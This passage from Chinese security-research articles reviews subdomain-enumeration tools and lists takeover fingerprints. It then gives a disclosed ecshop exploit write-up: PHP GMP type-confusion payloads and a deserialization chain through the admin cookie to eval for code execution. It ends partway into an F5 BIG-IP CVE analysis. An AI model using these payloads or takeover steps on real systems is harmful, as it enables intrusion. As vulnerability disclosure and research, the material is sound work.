list()try:ip = self.dns_resolve()cert_data = self.get_cert_info_by_ip(ip)except Exception as e:return domain_listfor domain_info in cert_data:hostname = domain_info[1]if not hostname.startswith('*') and hostname.endswith(self.domain):domain_list.append(hostname)return domain_listdef get_subdomains(self):subs = list()subdomain_list = self.get_ca_domain_info()for sub in subdomain_list:subs.append(sub[:len(sub) - len(self.domain) - 1])return subs纯socket实现的check dns server
123456789101112131415161718192021def check(self, dns):logger.info("Checking if DNS server {dns} is available".format(dns=dns))msg = b'\x5c\x6d\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x03www\x05baidu\x03com\x00\x00\x01\x00\x01'sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)sock.settimeout(3)repeat = {1: 'first',2: 'second',3: 'third'}for i in range(3):logger.info("Sending message to DNS server a {times} time".format(times=repeat[i + 1]))sock.sendto(msg, (dns, 53))try:sock.recv(4096)breakexcept socket.timeout as e:logger.warning('Failed!')if i == 2:return Falsereturn True基于文本相似度过滤泛解析域名
这个代码跨度很大,下面是简化版本
1234567891011from difflib import SequenceMatcher# RSC ratioself.rsc_ratio = 0.8self.wildcard_html # 获取一个随机子域名的htmlratio = SequenceMatcher(None, html, self.wildcard_html).real_quick_ratio()ratio = round(ratio, 3)if ratio > self.rsc_ratio:# passedlogger.debug('{r} RSC ratio: {ratio} (passed) {sub}'.format(r=self.remainder, sub=sub_domain, ratio=ratio))else:# added其他
ESD只能用文本相似度来过滤泛解析,但以此会导致机器的内存,CPU都暴涨,机器性能小不建议使用。
另外ESD似乎不能在windows下使用,因为看最后保存的路径写死了是
/tmp/esd
其他感觉没有不兼容的地方,解决了这个路径Windows应该就可以用了。
另外
- 解决各家DNS服务商对于网络线路出口判定不一致问题
- 解决各家DNS服务商缓存时间不一致问题
- 解决随机DNS问题,比如fliggy.com、plu.cn等
这三个不知道怎么解决的,可能代码躲在了哪个角落,没发现。
OneForAll
OneForAll https://github.com/shmilylty/OneForAll
OneForAll的更新很勤快,我写这篇文章时,发现1小时前就有新的提交。
OneForAll的功能也很多,被动搜索域名,子域爆破,子域接管,端口探测,指纹识别,导出等等。
被动搜索
OneForAll集成了很多收集域名的web接口,每个接口为一个py文件,py文件中最后都会基于
common/module.py Module
这个类,这个类提供了很多需要通用方法,如网页的请求,匹配域名,保存结果以及运行时需要的各类方法。比较令人注意的是匹配域名的方法,因为很多web的接口返回格式都不太一样,要每个插件都处理一遍这样的格式吗?不必,OneForAll编写了通用域名匹配函数,即通过正则对最终结果匹配。
1234567891011121314151617181920212223242526272829303132333435def match_subdomains(domain, html, distinct=True, fuzzy=True):"""Use regexp to match subdomains:param str domain: main domain:param str html: response html text:param bool distinct: deduplicate results or not (default True):param bool fuzzy: fuzzy match subdomain or not (default True):return set/list: result set or list"""logger.log('TRACE', f'Use regexp to match subdomains in the response body')if fuzzy:regexp = r'(?:[a-z0-9](?:[a-z0-9\-]{0,61}[a-z0-9])?\.){0,}' \+ domain.replace('.', r'\.')result = re.findall(regexp, html, re.I)if not result:return set()deal = map(lambda s: s.lower(), result)if distinct:return set(deal)else:return list(deal)else:regexp = r'(?:\>|\"|\'|\=|\,)(?:http\:\/\/|https\:\/\/)?' \r'(?:[a-z0-9](?:[a-z0-9\-]{0,61}[a-z0-9])?\.){0,}' \+ domain.replace('.', r'\.')result = re.findall(regexp, html, re.I)if not result:return set()regexp = r'(?:http://|https://)'deal = map(lambda s: re.sub(regexp, '', s[1:].lower()), result)if distinct:return set(deal)else:return list(deal)泛解析处理
通过DNS泛解析域名时返回的TTL相同。
参考的 http://sh3ll.me/archives/201704041222.txt
泛解析一直都是域名爆破中的大问题,目前的解决思路是根据确切不存在的子域名记录(md5(domain).domain)获取黑名单 IP,对爆破 过程的结果进行黑名单过滤。 但这种宽泛的过滤很容易导致漏报,如泛解析记录为 1.1.1.1,但某存在子域名也指向 1.1.1.1,此时这个子域名便可能会被黑名单过 滤掉。 胖学弟提到,可以将 TTL 也作为黑名单规则的一部分,评判的依据是:在权威 DNS 中,泛解析记录的 TTL 肯定是相同的,如果子域名 记录相同,但 TTL 不同,那这条记录可以说肯定不是泛解析记录。最终的判断代码如下:
12345678910// IsPanDNSRecord 是否为泛解析记录func IsPanDNSRecord(record string, ttl uint32) bool {_ttl, ok := panDNSRecords[TrimSuffixPoint(record)]// 若记录不存在于黑名单列表,不是泛解析// 若记录存在,且与黑名单中的 ttl 不等但都是 60(1min)的倍数,不是泛解析if !ok || (_ttl != ttl && _ttl%60 == 0 && ttl%60 == 0) {return false}return true}这个方法是否好,我也不知道。
爆破流程
brute.py
简写版爆破流程123456789101112131415161718192021222324252627282930wildcard_ips = list() # 泛解析IP列表wildcard_ttl = int() # 泛解析TTL整型值ns_list = query_domain_ns(self.domain) # 查询域名NS记录ns_ip_list = query_domain_ns_a(ns_list) # DNS权威名称服务器对应A记录列表self.enable_wildcard = detect_wildcard(domain, ns_ip_list) # 通过域名指定NS查询是否有泛解析if self.enable_wildcard:wildcard_ips, wildcard_ttl = collect_wildcard_record(domain,ns_ip_list)# 收集泛解析范围,当大部分泛解析记录(80%)达到同一IP出现两次以上,则返回该IP以及TTLns_path = get_nameservers_path(self.enable_wildcard, ns_ip_list)# 生成字典dict_set = self.gen_brute_dict(domain)dict_len = len(dict_set)dict_name = f'generated_subdomains_{domain}_{timestring}.txt'dict_path = temp_dir.joinpath(dict_name)save_brute_dict(dict_path, dict_set)del dict_set# 调用massdns进行扫描output_name = f'resolved_result_{domain}_{timestring}.json'output_path = temp_dir.joinpath(output_name)log_path = result_dir.joinpath('massdns.log')check_dict()logger.log('INFOR', f'Running massdns to brute subdomains')utils.call_massdns(massdns_path, dict_path, ns_path, output_path,log_path, quiet_mode=self.quite,process_num=self.process_num,concurrent_num=self.concurrent_num)域名接管
OneForAll的域名接管主要是针对一些公共服务的域名接管,根据其指纹识别的内容
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249[{"name":"github","cname":["github.io", "github.map.fastly.net"],"response":["There isn't a GitHub Pages site here.", "For root URLs (like http://example.com/) you must provide an index.html file"]},{"name":"heroku","cname":["herokudns.com", "herokussl.com", "herokuapp.com"],"response":["There's nothing here, yet.", "herokucdn.com/error-pages/no-such-app.html", "<title>No such app</title>"]},{"name":"unbounce","cname":["unbouncepages.com"],"response":["Sorry, the page you were looking for doesn’t exist.", "The requested URL was not found on this server"]},{"name":"tumblr","cname":["tumblr.com"],"response":["There's nothing here.", "Whatever you were looking for doesn't currently exist at this address."]},{"name":"shopify","cname":["myshopify.com"],"response":["Sorry, this shop is currently unavailable.", "Only one step left!"]},{"name":"instapage","cname":["pageserve.co", "secure.pageserve.co", "https://instapage.com/"],"response":["Looks Like You're Lost","The page you're looking for is no longer available."]},{"name":"desk","cname":["desk.com"],"response":["Please try again or try Desk.com free for 14 days.", "Sorry, We Couldn't Find That Page"]},{"name":"campaignmonitor","cname":["createsend.com", "name.createsend.com"],"response":["Double check the URL", "<strong>Trying to access your account?</strong>"]},{"name":"cargocollective","cname":["cargocollective.com"],"response":["404 Not Found"]},{"name":"statuspage","cname":["statuspage.io"],"response":["Better Status Communication", "You are being <a href=\"https://www.statuspage.io\">redirected"]},{"name":"amazonaws","cname":["amazonaws.com"],"response":["NoSuchBucket", "The specified bucket does not exist"]},{"name":"bitbucket","cname":["bitbucket.org"],"response":["The page you have requested does not exist","Repository not found"]},{"name":"smartling","cname":["smartling.com"],"response":["Domain is not configured"]},{"name":"acquia","cname":["acquia.com"],"response":["If you are an Acquia Cloud customer and expect to see your site at this address","The site you are looking for could not be found."]},{"name":"fastly","cname":["fastly.net"],"response":["Please check that this domain has been added to a service", "Fastly error: unknown domain"]},{"name":"pantheon","cname":["pantheonsite.io"],"response":["The gods are wise", "The gods are wise, but do not know of the site which you seek."]},{"name":"zendesk","cname":["zendesk.com"],"response":["Help Center Closed"]},{"name":"uservoice","cname":["uservoice.com"],"response":["This UserVoice subdomain is currently available!"]},{"name":"ghost","cname":["ghost.io"],"response":["The thing you were looking for is no longer here", "The thing you were looking for is no longer here, or never was"]},{"name":"pingdom","cname":["stats.pingdom.com"],"response":["pingdom"]},{"name":"tilda","cname":["tilda.ws"],"response":["Domain has been assigned"]},{"name":"wordpress","cname":["wordpress.com"],"response":["Do you want to register"]},{"name":"teamwork","cname":["teamwork.com"],"response":["Oops - We didn't find your site."]},{"name":"helpjuice","cname":["helpjuice.com"],"response":["We could not find what you're looking for."]},{"name":"helpscout","cname":["helpscoutdocs.com"],"response":["No settings were found for this company:"]},{"name":"cargo","cname":["cargocollective.com"],"response":["If you're moving your domain away from Cargo you must make this configuration through your registrar's DNS control panel."]},{"name":"feedpress","cname":["redirect.feedpress.me"],"response":["The feed has not been found."]},{"name":"surge","cname":["surge.sh"],"response":["project not found"]},{"name":"surveygizmo","cname":["privatedomain.sgizmo.com", "privatedomain.surveygizmo.eu", "privatedomain.sgizmoca.com"],"response":["data-html-name"]},{"name":"mashery","cname":["mashery.com"],"response":["Unrecognized domain <strong>"]},{"name":"intercom","cname":["custom.intercom.help"],"response":["This page is reserved for artistic dogs.","<h1 class=\"headline\">Uh oh. That page doesn’t exist.</h1>"]},{"name":"webflow","cname":["proxy.webflow.io"],"response":["<p class=\"description\">The page you are looking for doesn't exist or has been moved.</p>"]},{"name":"kajabi","cname":["endpoint.mykajabi.com"],"response":["<h1>The page you were looking for doesn't exist.</h1>"]},{"name":"thinkific","cname":["thinkific.com"],"response":["You may have mistyped the address or the page may have moved."]},{"name":"tave","cname":["clientaccess.tave.com"],"response":["<h1>Error 404: Page Not Found</h1>"]},{"name":"wishpond","cname":["wishpond.com"],"response":["https://www.wishpond.com/404?campaign=true"]},{"name":"aftership","cname":["aftership.com"],"response":["Oops.</h2><p class=\"text-muted text-tight\">The page you're looking for doesn't exist."]},{"name":"aha","cname":["ideas.aha.io"],"response":["There is no portal here ... sending you back to Aha!"]},{"name":"brightcove","cname":["brightcovegallery.com", "gallery.video", "bcvp0rtal.com"],"response":["<p class=\"bc-gallery-error-code\">Error Code: 404</p>"]},{"name":"bigcartel","cname":["bigcartel.com"],"response":["<h1>Oops! We couldn&#8217;t find that page.</h1>"]},{"name":"activecompaign","cname":["activehosted.com"],"response":["alt=\"LIGHTTPD - fly light.\""]},{"name":"compaignmonitor","cname":["createsend.com"],"response":["Double check the URL or <a href=\"mailto:help@createsend.com"]},{"name":"simplebooklet","cname":["simplebooklet.com"],"response":["We can't find this <a href=\"https://simplebooklet.com"]},{"name":"getresponse","cname":[".gr8.com"],"response":["With GetResponse Landing Pages, lead generation has never been easier"]},{"name":"vend","cname":["vendecommerce.com"],"response":["Looks like you've traveled too far into cyberspace."]},{"name":"jetbrains","cname":["myjetbrains.com"],"response":["is not a registered InCloud YouTrack.","is not a registered InCloud YouTrack."]},{"name":"azure","cname":["azurewebsites.net",".cloudapp.net",".cloudapp.azure.com",".trafficmanager.net",".blob.core.windows.net",".azure-api.net",".azurehdinsight.net",".azureedge.net"],"response":["404 Web Site not found"]},{"name":"readme","cname":["readme.io"],"response":["Project doesnt exist... yet!"]}]原理是获取域名的cname,如果cname和上述指纹匹配,并且访问后返回内容也匹配即说明目前无人使用,可以创建一个相同域名。
但创建都需要手动,OneForAll只提供了一个GIthub的自动创建脚本
modules/autotake/github.py
,但没有看到任何地方调用它。OneForAll的域名接管只针对在线服务商。
原先以为会对每个普通域名查询cname,然后查询cname的域名是否注册,但是没有。
指纹识别
OneForAll的指纹识别使用的是 https://github.com/webanalyzer/rules
作者定义了通用指纹识别的规则
1234567891011{"name": "wordpress","author": "fate0","version": "0.1.0","description": "wordpress 是世界上最为广泛使用的博客系统","website": "http://www.wordpress.org/","matches": [],"condition": "0 and (1 and not 2)","implies": "PHP","excludes": "Apache"}并且集成转化了
fofa
,wappalyzer
,whatweb
的指纹,感觉挺不错的。指纹识别具体的文件在
modules/banner.py
,根据指纹识别的规则,基本上访问一次首页就能识别到指纹。唯一不解的是作者只使用了多进程来识别,为什么前面是协程+多进程,指纹识别这里只用进程了,感觉效率会大大受影响。其他
OneForAll 基于Python3,官方要求Python3.8以上,依赖项
requirements.txt
有38行,这样对使用者不太友好(Python要求版本太高,依赖太多,很容易报错)。dnsprobe
dnsprobe https://github.com/projectdiscovery/dnsprobe
dnsprobe是go语言编写的dns查询工具,因为go语言隐藏了协程的细节,使用简单的编程便可以实现并发编程。同时用go语言静态编译可以运行在各种平台,也极大方便了使用者。
dnsprobe的作者也很能注意到效率的瓶颈点,例如如果是大字典的dns爆破,读取这个字典就要花费不少时间,而dnsprobe是边读边爆破,上述分析的工具都没有注意到这个点。
但是用Python做到还是很不容易的,使用python的协程后,需要把所有函数都变为协程,才能发挥协程的威力,如果要实现边读边扫描,要将读取文件变为协程,以及扫描变为协程。
为此需要安装一个额外的包
1pip install aiofiles123456789101112131415161718import asyncioimport aiofilesasync def scan(line):print(line)await asyncio.sleep(3) # 模拟耗时async def main():path = "subnames.txt"async with aiofiles.open(path, 'r') as f:async for line in f:await scan(line.strip())if __name__ == '__main__':asyncio.get_event_loop().run_until_complete(main())subfinder
subfinder https://github.com/projectdiscovery/subfinder
同属projectdiscovery项目下的子域名发现工具subfinder,它的定位是通过各种接口来发现有效子域名。
subfinder is built for doing one thing only - passive subdomain enumeration, and it does that very well.
subfinder仅用于做一件事-被动子域枚举,它做得很好。
它的接口列表
12345678910111213141516171819202122232425262728293031var DefaultSources = []string{"alienvault","archiveis","binaryedge","bufferover","censys","certspotter","certspotterold","commoncrawl","crtsh","digicert","dnsdumpster","dnsdb","entrust","hackertarget","ipv4info","intelx","passivetotal","rapiddns","securitytrails","shodan","sitedossier","spyse","sublist3r","threatcrowd","threatminer","urlscan","virustotal","waybackarchive","zoomeye",}subfinder是go写的,那么是如何加载这些接口的呢
subfinder的每个接口都需要实现
Source
这个接口123type Agent struct {sources map[string]subscraping.Source}接着定义Agent实现一个map类,map的内容为每个接口的Source
接着搜索域名时只需要遍历这个map,执行其中的
Run
方法即可。配合
1subfinder -d http://hackerone.com -silent | dnsprobe -f domain.txt通过在线接口获取域名后批量dns查询域名保存为domain.txt文件
shuffledns
shuffledns就是调用的massdns,将返回结果处理了一下。OneForAll和shuffledns都使用了massdns那么就来看看它。
massdns
Massdn 是一个简单的高性能 DNS 存根解析器,针对那些寻求解析数百万甚至数十亿个大量域名的用户。在没有特殊配置的情况下,使用公开可用的解析器,massdn 能够每秒解析超过350,000个名称。
C语言编写,第一次提交记录在2016年。
粗略的看了下代码,massdns使用socket发包,然后用epoll,pcap,busy-wait polling等技术来接收。
去年我写了篇《从 Masscan, Zmap 源码分析到开发实践》(https://paper.seebug.org/1052/),当时我就想过用"无状态扫描"技术来对DNS爆破,当时只用pcap模块来进行发送和接收
理论速度是可以到70w/s的。
最近准备再改改然后开源出来~
总结
原本计划还有
OWASP Amass
的,这个就留给下篇吧。总结一下
subDomainBrute
老牌DNS爆破工具,使用让人感觉很稳很友好,依赖较少,很好安装。ESD
域名收集方法很多,对接的web接口比较少,支持python调用,用于集成到扫描器应该不错。OneForAll
依赖较多,功能比较全面,但功能还是有些欠缺,有些地方效率考虑的不够好。适合对一个新的域名爆破,结果比较多。
对于子域名收集,我推荐的组合是
subfinder
和dnsprobe
,它们都是go语言,直接下载二进制就能跑,subfinder
用于收集网上接口(但接口似乎没有OneForAll多),dnsprobe
用于爆破/验证域名。用linux哲学,跑的可以更优雅~
1subfinder -d http://hackerone.com -silent | dnsprobe -f domain.txt另外进行DNS爆破时,DNS解析器的设定非常重要,它决定了爆破的质量和数量,推荐1w字典就增加一个DNS服务器。
在写文章的时候可能会有些错误或者不到的地方,可以在paper评论区回复和我讨论~
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1292/
- 通用字典
-
ISC 议题 | 从数据动态视角看网络空间测绘
作者:知道创宇404实验室
时间:2020年8月14日2020第八届互联网安全大会(ISC)上, 知道创宇404实验室总监隋刚发表《从数据动态视角看网络空间测绘》的主题演讲,从多个案例入手具体分析,阐明了网络空间测绘的实质性意义。另外也通过汇总 ZoomEye 近 6年的线上IPv4测绘数据,从数据分析的角度看网络空间的变化情况,借此看到一些新的观点和相应的支撑数据。
有兴趣的同学可以点击这里回看视频,以及下载演讲议题PDF:https://paper.seebug.org/papers/Archive/
-
从反序列化到类型混淆漏洞——记一次 ecshop 实例利用
作者:LoRexxar'@知道创宇404实验室
时间:2020年3月31日
English Version: https://paper.seebug.org/1268本文初完成于2020年3月31日,由于涉及到0day利用,所以于2020年3月31日报告厂商、CNVD漏洞平台,满足90天漏洞披露期,遂公开。
前几天偶然看到了一篇在Hackerone上提交的漏洞报告,在这个漏洞中,漏洞发现者提出了很有趣的利用,作者利用GMP的一个类型混淆漏洞,配合相应的利用链可以构造mybb的一次代码执行,这里我们就一起来看看这个漏洞。
以下文章部分细节,感谢漏洞发现者@taoguangchen的帮助。
GMP类型混淆漏洞
漏洞利用条件
- php 5.6.x
- 反序列化入口点
- 可以触发__wakeup的触发点(在php < 5.6.11以下,可以使用内置类)
漏洞详情
gmp.c
1234567891011121314151617static int gmp_unserialize(zval **object, zend_class_entry *ce, const unsigned char *buf, zend_uint buf_len, zend_unserialize_data *data TSRMLS_DC) /* {{{ */{...ALLOC_INIT_ZVAL(zv_ptr);if (!php_var_unserialize(&zv_ptr, &p, max, &unserialize_data TSRMLS_CC)|| Z_TYPE_P(zv_ptr) != IS_ARRAY) {zend_throw_exception(NULL, "Could not unserialize properties", 0 TSRMLS_CC);goto exit;}if (zend_hash_num_elements(Z_ARRVAL_P(zv_ptr)) != 0) {zend_hash_copy(zend_std_get_properties(*object TSRMLS_CC), Z_ARRVAL_P(zv_ptr),(copy_ctor_func_t) zval_add_ref, NULL, sizeof(zval *));}zend_object_handlers.c
123456789ZEND_API HashTable *zend_std_get_properties(zval *object TSRMLS_DC) /* {{{ */{zend_object *zobj;zobj = Z_OBJ_P(object);if (!zobj->properties) {rebuild_object_properties(zobj);}return zobj->properties;}从gmp.c中的片段中我们可以大致理解漏洞发现者taoguangchen的原话。
__wakeup
等魔术方法可以导致ZVAL在内存中被修改。因此,攻击者可以将**object转化为整数型或者bool型的ZVAL,那么我们就可以通过Z_OBJ_P
访问存储在对象储存中的任何对象,这也就意味着可以通过zend_hash_copy
覆盖任何对象中的属性,这可能导致很多问题,在一定场景下也可以导致安全问题。或许仅凭借代码片段没办法理解上述的话,但我们可以用实际测试来看看。
首先我们来看一段测试代码
123456789101112131415161718192021222324252627282930313233343536373839<?phpclass obj{var $ryat;function __wakeup(){$this->ryat = 1;}}class b{var $ryat =1;}$obj = new stdClass;$obj->aa = 1;$obj->bb = 2;$obj2 = new b;$obj3 = new stdClass;$obj3->aa =2;$inner = 's:1:"1";a:3:{s:2:"aa";s:2:"hi";s:2:"bb";s:2:"hi";i:0;O:3:"obj":1:{s:4:"ryat";R:2;}}';$exploit = 'a:1:{i:0;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}';$x = unserialize($exploit);$obj4 = new stdClass;var_dump($x);var_dump($obj);var_dump($obj2);var_dump($obj3);var_dump($obj4);?>在代码中我展示了多种不同情况下的环境。
让我们来看看结果是什么?
12345678910111213141516171819202122232425array(1) {[0]=>&int(1)}object(stdClass)#1 (3) {["aa"]=>string(2) "hi"["bb"]=>string(2) "hi"[0]=>object(obj)#5 (1) {["ryat"]=>&int(1)}}object(b)#2 (1) {["ryat"]=>int(1)}object(stdClass)#3 (1) {["aa"]=>int(2)}object(stdClass)#4 (0) {}我成功修改了第一个声明的对象。
但如果我将反序列化的类改成b会发生什么呢?
1$inner = 's:1:"1";a:3:{s:2:"aa";s:2:"hi";s:2:"bb";s:2:"hi";i:0;O:1:"b":1:{s:4:"ryat";R:2;}}';很显然的是,并不会影响到其他的类变量
1234567891011121314151617181920212223242526272829303132333435363738394041array(1) {[0]=>&object(GMP)#4 (4) {["aa"]=>string(2) "hi"["bb"]=>string(2) "hi"[0]=>object(b)#5 (1) {["ryat"]=>&object(GMP)#4 (4) {["aa"]=>string(2) "hi"["bb"]=>string(2) "hi"[0]=>*RECURSION*["num"]=>string(2) "32"}}["num"]=>string(2) "32"}}object(stdClass)#1 (2) {["aa"]=>int(1)["bb"]=>int(2)}object(b)#2 (1) {["ryat"]=>int(1)}object(stdClass)#3 (1) {["aa"]=>int(2)}object(stdClass)#6 (0) {}如果我们给class b加一个
__Wakeup
函数,那么又会产生一样的效果。但如果我们把wakeup魔术方法中的变量设置为2
123456789class obj{var $ryat;function __wakeup(){$this->ryat = 2;}}返回的结果可以看出来,我们成功修改了第二个声明的对象。
1234567891011121314151617181920212223242526272829array(1) {[0]=>&int(2)}object(stdClass)#1 (2) {["aa"]=>int(1)["bb"]=>int(2)}object(b)#2 (4) {["ryat"]=>int(1)["aa"]=>string(2) "hi"["bb"]=>string(2) "hi"[0]=>object(obj)#5 (1) {["ryat"]=>&int(2)}}object(stdClass)#3 (1) {["aa"]=>int(2)}object(stdClass)#4 (0) {}但如果我们把ryat改为4,那么页面会直接返回500,因为我们修改了没有分配的对象空间。
在完成前面的试验后,我们可以把漏洞的利用条件简化一下。
如果我们有一个可控的反序列化入口,目标后端PHP安装了GMP插件(这个插件在原版php中不是默认安装的,但部分打包环境中会自带),如果我们找到一个可控的
__wakeup
魔术方法,我们就可以修改反序列化前声明的对象属性,并配合场景产生实际的安全问题。如果目标的php版本在5.6 <= 5.6.11中,我们可以直接使用内置的魔术方法来触发这个漏洞。
1var_dump(unserialize('a:2:{i:0;C:3:"GMP":17:{s:4:"1234";a:0:{}}i:1;O:12:"DateInterval":1:{s:1:"y";R:2;}}'));真实世界案例
在讨论完GMP类型混淆漏洞之后,我们必须要讨论一下这个漏洞在真实场景下的利用方式。
漏洞的发现者Taoguang Chen提交了一个在mybb中的相关利用。
这里我们不继续讨论这个漏洞,而是从头讨论一下在ecshop中的利用方式。
漏洞环境
- ecshop 4.0.7
- php 5.6.9
反序列化漏洞
首先我们需要找到一个反序列化入口点,这里我们可以全局搜索
unserialize
,挨个看一下我们可以找到两个可控的反序列化入口。其中一个是search.php line 45
123456789...{$string = base64_decode(trim($_GET['encode']));if ($string !== false){$string = unserialize($string);if ($string !== false)...这是一个前台的入口,但可惜的是引入初始化文件在反序列化之后,这也就导致我们没办法找到可以覆盖类变量属性的目标,也就没办法进一步利用。
还有一个是admin/order.php line 229
123456/* 取得上一个、下一个订单号 */if (!empty($_COOKIE['ECSCP']['lastfilter'])){$filter = unserialize(urldecode($_COOKIE['ECSCP']['lastfilter']));...后台的表单页的这个功能就满足我们的要求了,不但可控,还可以用urlencode来绕过ecshop对全局变量的过滤。
这样一来我们就找到了一个可控并且合适的反序列化入口点。
寻找合适的类属性利用链
在寻找利用链之前,我们可以用
1get_declared_classes()来确定在反序列化时,已经声明定义过的类。
在我本地环境下,除了PHP内置类以外我一共找到13个类
1234567891011121314151617181920212223242526[129]=>string(3) "ECS"[130]=>string(9) "ecs_error"[131]=>string(8) "exchange"[132]=>string(9) "cls_mysql"[133]=>string(11) "cls_session"[134]=>string(12) "cls_template"[135]=>string(11) "certificate"[136]=>string(6) "oauth2"[137]=>string(15) "oauth2_response"[138]=>string(14) "oauth2_request"[139]=>string(9) "transport"[140]=>string(6) "matrix"[141]=>string(16) "leancloud_client"从代码中也可以看到在文件头引入了多个库文件
123456require(dirname(__FILE__) . '/includes/init.php');require_once(ROOT_PATH . 'includes/lib_order.php');require_once(ROOT_PATH . 'includes/lib_goods.php');require_once(ROOT_PATH . 'includes/cls_matrix.php');include_once(ROOT_PATH . 'includes/cls_certificate.php');require('leancloud_push.php');这里我们主要关注init.php,因为在这个文件中声明了ecshop的大部分通用类。
在逐个看这里面的类变量时,我们可以敏锐的看到一个特殊的变量,由于ecshop的后台结构特殊,页面内容大多都是由模板编译而成,而这个模板类恰好也在init.php中声明
12require(ROOT_PATH . 'includes/cls_template.php');$smarty = new cls_template;回到order.php中我们寻找与
$smarty
相关的方法,不难发现,主要集中在两个方法中12345...$smarty->assign('shipping', $shipping);$smarty->display('print.htm');...而这里我们主要把视角集中在display方法上。
粗略的浏览下display方法的逻辑大致是
12345请求相应的模板文件-->经过一系列判断,将相应的模板文件做相应的编译-->输出编译后的文件地址比较重要的代码会在
make_compiled
这个函数中被定义123456789101112131415161718192021function make_compiled($filename){$name = $this->compile_dir . '/' . basename($filename) . '.php';...if ($this->force_compile || $filestat['mtime'] > $expires){$this->_current_file = $filename;$source = $this->fetch_str(file_get_contents($filename));if (file_put_contents($name, $source, LOCK_EX) === false){trigger_error('can\'t write:' . $name);}$source = $this->_eval($source);}return $source;}当流程走到这一步的时候,我们需要先找到我们的目标是什么?
重新审视
cls_template.php
的代码,我们可以发现涉及到代码执行的只有几个函数。12345678910111213141516171819202122232425262728function get_para($val, $type = 1) // 处理insert外部函数/需要include运行的函数的调用数据{$pa = $this->str_trim($val);foreach ($pa AS $value){if (strrpos($value, '=')){list($a, $b) = explode('=', str_replace(array(' ', '"', "'", '"'), '', $value));if ($b{0} == '$'){if ($type){eval('$para[\'' . $a . '\']=' . $this->get_val(substr($b, 1)) . ';');}else{$para[$a] = $this->get_val(substr($b, 1));}}else{$para[$a] = $b;}}}return $para;}get_para只在select中调用,但是没找到能触发select的地方。
然后是pop_vars
12345678910function pop_vars(){$key = array_pop($this->_temp_key);$val = array_pop($this->_temp_val);if (!empty($key)){eval($key);}}恰好配合GMP我们可以控制
$this->_temp_key
变量,所以我们只要能在上面的流程中找到任意地方调用这个方法,我们就可以配合变量覆盖构造一个代码执行。在回看刚才的代码流程时,我们从编译后的PHP文件中找到了这样的代码
order_info.htm.php
1<?php endforeach; endif; unset($_from); ?><?php $this->pop_vars();; ?>在遍历完表单之后,正好会触发
pop_vars
。这样一来,只要我们控制覆盖
cls_template
变量的_temp_key
属性,我们就可以完成一次getshell最终利用效果
Timeline
- 2020.03.31 发现漏洞。
- 2020.03.31 将漏洞报送厂商、CVE、CNVD等。
- 2020.07.08 符合90天漏洞披露期,公开细节。
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1267/
-
F5 BIG-IP hsqldb(CVE-2020-5902)漏洞踩坑分析
作者:Longofo@知道创宇404实验室
时间:2020年7月10日
English Version: https://paper.seebug.org/1272/F5 BIG-IP最近发生了一次比较严重的RCE漏洞,其中主要公开出来的入口就是tmsh与hsqldb方式,tmsh的利用与分析分析比较多了,如果复现过tmsh的利用,就应该知道这个地方利用有些鸡肋,后面不对tmsh进行分析,主要看下hsqldb的利用。hsqldb的利用poc已经公开,但是java hsqldb的https导致一直无法复现,尝试了各种方式也没办法了,只好换其他思路,下面记录下复现与踩坑的过程。
利用源码搭建一个hsqldb http servlet
如果调试过hsqldb,就应该知道hsqldb.jar的代码是无法下断点调试的,这是因为hsqldb中类的linenumber table信息没有了,linenumber table只是用于调式用的,对于代码的正常运行没有任何影响。看下正常编译的类与hqldb类的lineumber table区别:
使用
javap -verbose hsqlServlet.class
命令看下hsqldb中hsqlServlet.class类的详细信息:123456789101112131415161718192021222324252627Classfile /C:/Users/dell/Desktop/hsqlServlet.classLast modified 2018-11-14; size 128 bytesMD5 checksum 578c775f3dfccbf4e1e756a582e9f05cpublic class hsqlServlet extends org.hsqldb.Servletminor version: 0major version: 51flags: ACC_PUBLIC, ACC_SUPERConstant pool:#1 = Methodref #3.#7 // org/hsqldb/Servlet."<init>":()V#2 = Class #8 // hsqlServlet#3 = Class #9 // org/hsqldb/Servlet#4 = Utf8 <init>#5 = Utf8 ()V#6 = Utf8 Code#7 = NameAndType #4:#5 // "<init>":()V#8 = Utf8 hsqlServlet#9 = Utf8 org/hsqldb/Servlet{public hsqlServlet();descriptor: ()Vflags: ACC_PUBLICCode:stack=1, locals=1, args_size=10: aload_01: invokespecial #1 // Method org/hsqldb/Servlet."<init>":()V4: return}使用
javap -verbose Test.class
看下自己编译的类信息:1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192Classfile /C:/Users/dell/Desktop/Test.classLast modified 2020-7-13; size 586 bytesMD5 checksum eea80d1f399295a29f02f30a3764ff25Compiled from "Test.java"public class Testminor version: 0major version: 51flags: ACC_PUBLIC, ACC_SUPERConstant pool:#1 = Methodref #7.#22 // java/lang/Object."<init>":()V#2 = Fieldref #23.#24 // java/lang/System.out:Ljava/io/PrintStream;#3 = String #25 // aaa#4 = Methodref #26.#27 // java/io/PrintStream.println:(Ljava/lang/String;)V#5 = String #19 // test#6 = Class #28 // Test#7 = Class #29 // java/lang/Object#8 = Utf8 <init>#9 = Utf8 ()V#10 = Utf8 Code#11 = Utf8 LineNumberTable#12 = Utf8 LocalVariableTable#13 = Utf8 this#14 = Utf8 LTest;#15 = Utf8 main#16 = Utf8 ([Ljava/lang/String;)V#17 = Utf8 args#18 = Utf8 [Ljava/lang/String;#19 = Utf8 test#20 = Utf8 SourceFile#21 = Utf8 Test.java#22 = NameAndType #8:#9 // "<init>":()V#23 = Class #30 // java/lang/System#24 = NameAndType #31:#32 // out:Ljava/io/PrintStream;#25 = Utf8 aaa#26 = Class #33 // java/io/PrintStream#27 = NameAndType #34:#35 // println:(Ljava/lang/String;)V#28 = Utf8 Test#29 = Utf8 java/lang/Object#30 = Utf8 java/lang/System#31 = Utf8 out#32 = Utf8 Ljava/io/PrintStream;#33 = Utf8 